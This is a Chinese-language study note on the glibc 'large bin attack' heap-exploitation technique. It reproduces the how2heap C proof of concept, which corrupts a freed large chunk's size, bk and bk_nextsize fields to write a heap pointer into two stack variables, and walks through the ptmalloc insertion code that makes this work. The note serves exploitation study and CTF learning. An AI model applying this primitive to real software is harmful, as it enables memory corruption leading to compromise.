large bin attack
large bin attack
要求与使用
- 需要有UAF
- 可以写堆的内容
- 最后的结果是可以修改任意地址的值为一个指针值,所以功能可能没那么大
Large chunk的特殊性
大于512(1024)字节的chunk称之为large chunk
被释放进Large Bin中的chunk,除prev_size、size、fd、bk
之外,还具有fd_nextsize
和bk_nextsize
:
fd_nextsize指向前一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
bk_nextsize指向后一个与当前chunk大小不同的第一个空闲块,不包含bin的头指针
一般空闲的large chunk在fd的遍历顺序中,按照由大到小的顺序排列。这样可以避免在寻找合适chunk时挨个遍历
Large Bin的插入顺序
在index相同的情况下:
- 按照大小,从大到小排序(小的链接large bin块)
- 如果大小相同,按照free的时间排序
- 多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
- size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk
上文改自:https://blog.csdn.net/qq_41202237/article/details/112825556
实现
在how2heap中的例子:
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
unsigned long *p1 = malloc(0x420);
malloc(0x20);
unsigned long *p2 = malloc(0x500);
malloc(0x20);
unsigned long *p3 = malloc(0x500);
malloc(0x20);
free(p1);
free(p2);
malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
}
而文中还有一段指示到底是怎么作用的:
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/
解释
- 创建三个large chunk并且用小的隔开,以防止合并
- 将
p1
,p2
释放,这时两者都会进入unsorted bin - 创建一个较小块,会给
p1
切一块下来,而p2
会被放到large bin中 - 然后再释放
p3
,此时p3
会待在unsorted bin中 - 而后对largebin中的块进行赋值,更改size,bk,bk_nextsize三个值。需要减小第二个freed chunk的大小以让第三个freed chunk可以被放到它的前面,为了覆盖堆栈,将bk设置为stack_var1之前16个bytes,将bk_nextsize设置为stack_var2之前4个bytes。
此时再创建一个0x90大小的块,这时会继续切
p1
,而后p3
进入large bin,出现问题:else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk;
- 上面的代码中,
victim
是p3
,fwd
是p2
。 - 可以看到,
p3->bk_nextsize=p2->bk_nextsize
,并且p3->bk_nextsize->fd_nextsize=p3
,即p2->bk_nextsize+4=stack_var2=p3
- 而又有代码:
bck = fwd->bk; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
- 可以看到,
p2->bk->fd=p3
,即p2->bk+2=stack_var1=p3
- 有个注意点,创建堆时产生的指针是指向空白位置的,而bin中得到指针是指向大小的。
- 从而使得两个值都变成了p3指针的值